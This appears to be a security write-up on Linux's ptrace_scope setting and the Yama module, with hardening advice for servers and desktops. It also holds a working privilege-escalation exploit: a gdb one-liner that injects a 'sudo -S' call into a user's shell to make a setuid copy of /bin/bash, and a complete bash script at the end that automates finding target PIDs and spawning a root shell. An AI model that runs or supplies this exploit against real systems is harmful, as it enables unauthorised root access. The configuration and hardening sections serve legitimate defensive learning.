Privileges Linux in Real world

Summary

1- ptrace_scope is a Linux kernel security feature that restricts the use of the ptrace system call, which is commonly used for debugging. The ptrace system call allows one process to observe and control the execution of another process, and it is integral for tools like gdb radare2 lldb strace valgrind linux-perf systemtap-runtime dtrace PDB (Python Debugger) (the GNU Debugger). However, ptrace can also be used by malicious programs to interfere with or spy on other processes, so ptrace_scope was introduced to mitigate such risks.

2- The ptrace_scope setting in Linux provides a way to control and restrict the use of the ptrace system call, enhancing the security of the system by preventing unauthorized debugging or manipulation of processes. Adjusting this setting can balance the need for debugging and development with the security requirements of the system

Ptrace

is a great troubleshooting tool for developers to determine how a process functions. It can be used to find programming flaws, like memory leakage. On the other hand, the tool also be used by people with malicious intent. For example to debug a process as a non-privileged user and find the contents of application memory or execute commands and link it to a privileges PID (Process ID), this is where our PoC exploit comes.

Understanding ptrace_scope

The ptrace_scope setting is managed through the /proc/sys/kernel/yama/ptrace_scope file. The YAMA security module (Yet Another Mandatory Access Control) enhances the Linux security model by providing additional controls over the ptrace system call.

Configuration Options

The ptrace_scope file can have the following values:

• 0: No restrictions. Any process can use ptrace to attach to any other process. This is the traditional behavior in Linux.

• 1: Restricted ptrace. Only parent processes (i.e., processes that created the target process) can use ptrace on the target process. This is the default setting on many modern Linux distributions.

• 2: Admin-only attach. Only processes with the CAP_SYS_PTRACE capability (typically root or processes with elevated privileges) can use ptrace.

• 3: No attach. No processes can use ptrace to attach to other processes, regardless of permissions.

Checking and Setting ptrace_scope

To check the current value of ptrace_scope, you can use the following command:

cat /proc/sys/kernel/yama/ptrace_scope  

To change the ptrace_scope value, you can use the echo command with appropriate privileges. For example, to set ptrace_scope to 1

sudo sh -c 'echo 1 > /proc/sys/kernel/yama/ptrace_scope'  

Alternatively, you can use sysctl:

sudo sysctl -w kernel.yama.ptrace_scope=1  

To make the change persistent across reboots, you can add the setting to /etc/sysctl.conf:

echo "kernel.yama.ptrace_scope = 1" | sudo tee -a /etc/sysctl.conf sudo sysctl -p  

Practical Implications

• Developers and Debuggers: When ptrace_scope is set to a more restrictive value, developers might find that they cannot attach debuggers to running processes. In such cases, they might need to temporarily lower the restriction or run debugging sessions with elevated privileges.

• Security: For security-conscious environments, setting ptrace_scope to a higher value (like 2 or 3) can prevent malicious use of ptrace by restricting its use to privileged processes only.

Attack Scenario

Tested on: ParrotOS Security Edition, Debian 10, Ubuntu 20.04 (We guess any debian base distribution with GDB installed by default is vulnerable to this attack) with ptrace_scope in very permisive mode and GDB installed.

Verifying ptrace status

┌─[user@parrot]─[~] └──╼ $

cat /proc/sys/kernel/yama/ptrace_scope
  0

By default in Debian base distribution ptrace_scope comes very permissive. So we can attach or link command execution as non-privileges users to privileges PID(Process ID) if our UID matches with the process UID, for example: the excecution of sudo whatever.

Verify GDB is installed

If you are a developer, you probably need GDB on your linux system, but it comes pre-installed on Parrot OS Security Edition.

Looking for vulnerable PID with the same UID that currently user

pgrep "$(cat /etc/shells | grep -v "shells" | tr '/' ' ' | awk 'NF{print $NF}' | sort -u | xargs | tr ' ' '|')" -u "$(id -u)" | while read shell_pid; do```

if [ $(cat /proc/$shell_pid/comm 2> /dev/null) ] || [ $(pwdx $shell_pid 2>/dev/null) ]; then echo -e "\nPID: $shell_pid" echo -e "PATH: $(pwdx $shell_pid 2>/dev/null)" echo -e "TYPE: $(cat /proc/$shell_pid/comm 2>/dev/null)"```

Now we have PIDs with the same UID that the user, if one of them has a pivileges process running, we can take adventage of it.

Excecuting commands as root

We can use GDB for excecute commands as root, if one of the PID has privileges and has the same UID that our user.

We can do e system call from GDB and attach or link the execution of this contatenated commands to that privilege PID with the same UID that de user. For example: legitim user can execute sudo apt install whatever the sudo token will be there for 10 or 15mins, the PID of his shell has super user privileges.

Make a copy of /bin/bash (as root) under /tmp/ and asign Sticky Bit permissions, so every body can execute /tmp/bash as root. echo 'call system("echo | sudo -S cp /bin/bash /tmp > /dev/null 2>&1 && echo | sudo -S chmod +s /tmp/bash > /dev/null 2>&1")' | gdb -q -n -p "$shell_pid" > /dev/null 2>&1

Executing /tmp/bash

┌─[user@parrot]─[~]

$ /tmp/bash -p bash-5.0#

whoami

root

Yama

Linux has the ability to include Linux Security Modules, to provide additional features with the means of a module. Yama does Discretionary Access Control of some kernel related functions, like defining if process tracing (ptrace) is allowed.

kernel.yama.ptrace_scope The parameter kernel.yama.ptrace_scope helps system administrators to select what processes can be debugged with ptrace.

We can determine the active value with sysctl or using the pseudo file system /proc and find the related key.

$ sysctl kernel.yama.ptrace_scope kernel.yama.ptrace_scope = 1

$ cat /proc/sys/kernel/yama/ptrace_scope 1

there are four valid options: 0-3

kernel.yama.ptrace_scope = 0: all processes can be debugged, as long as they have same uid. This is the classical way of how ptracing worked. kernel.yama.ptrace_scope = 1: only a parent process can be debugged. kernel.yama.ptrace_scope = 2: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. kernel.yama.ptrace_scope = 3: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again.

Using Ptrace – Advice

Servers

If your system is running in the DMZ and processes high sensitive data, there is usually no reason to allow ptrace at all. Best is to disable it completely (kernel.yama.ptrace_scope = 3).

For servers in general you might want to apply rule, or choose a slightly less restrictive value (2 or 1).

Desktops

On desktop systems where you are the only user, can have a less restricted option (2 or 1, 0 is NOT recomended).

Impact

An attacker can use this attack method to escalate privileges to super user

Tested on: ParrotOS Security Edition, Debian 10, Ubuntu 20.04 (We guess any debian base distribution with GDB installed by default is vulnerable to this attack) with ptrace_scope in very permisive mode and GDB installed. with @x-c0d3

Exploit

link https://drive.google.com/file/d/14n8053qu1BuJXzKmPvh6IMHseJO6BPMR/view?usp=sharing

#!/usr/bin/bash
# Privileges Escalation PoC for Parrot
echo -e "\n Checking for ptrace_scope misc configuration..."
if grep -q "0" < /proc/sys/kernel/yama/ptrace_scope; then
    echo -e "\n System is vulnerable"
    if command -v gdb > /dev/null; then
                echo -e "\n GDB is installed"
            else
                    echo -e "\n GDB missing"
                    echo -e "\n System is vulnerable but you need GDB installed"
                exit 0
        fi
    echo -e "\n Looking for vulnerable PID..."
    pgrep "$(cat /etc/shells | grep -v "shells" | tr '/' ' ' | awk 'NF{print $NF}' | sort -u | xargs | tr ' ' '|')" -u "$(id -u)" | while read shell_pid; do
        if [ $(cat /proc/$shell_pid/comm 2> /dev/null) ] || [ $(pwdx $shell_pid 2>/dev/null) ]; then
            echo -e "\nPID: $shell_pid"
            echo -e "PATH: $(pwdx $shell_pid 2>/dev/null)"
            echo -e "TYPE: $(cat /proc/$shell_pid/comm 2>/dev/null)"
        fi; echo 'call system("echo | sudo -S cp /bin/bash /tmp > /dev/null 2>&1 && echo | sudo -S chmod a+s /tmp/bash > /dev/null 2>&1")' | gdb -q -n -p "$shell_pid" > /dev/null 2>&1
    done
    if [ -f /tmp/bash ]; then
        echo -e "\nExecuting bash shell as root..."
        echo " "
        /tmp/bash -p
    else
        echo -e "\nNo you have pwn "
    fi
else
    echo "System not vulnerable"
fi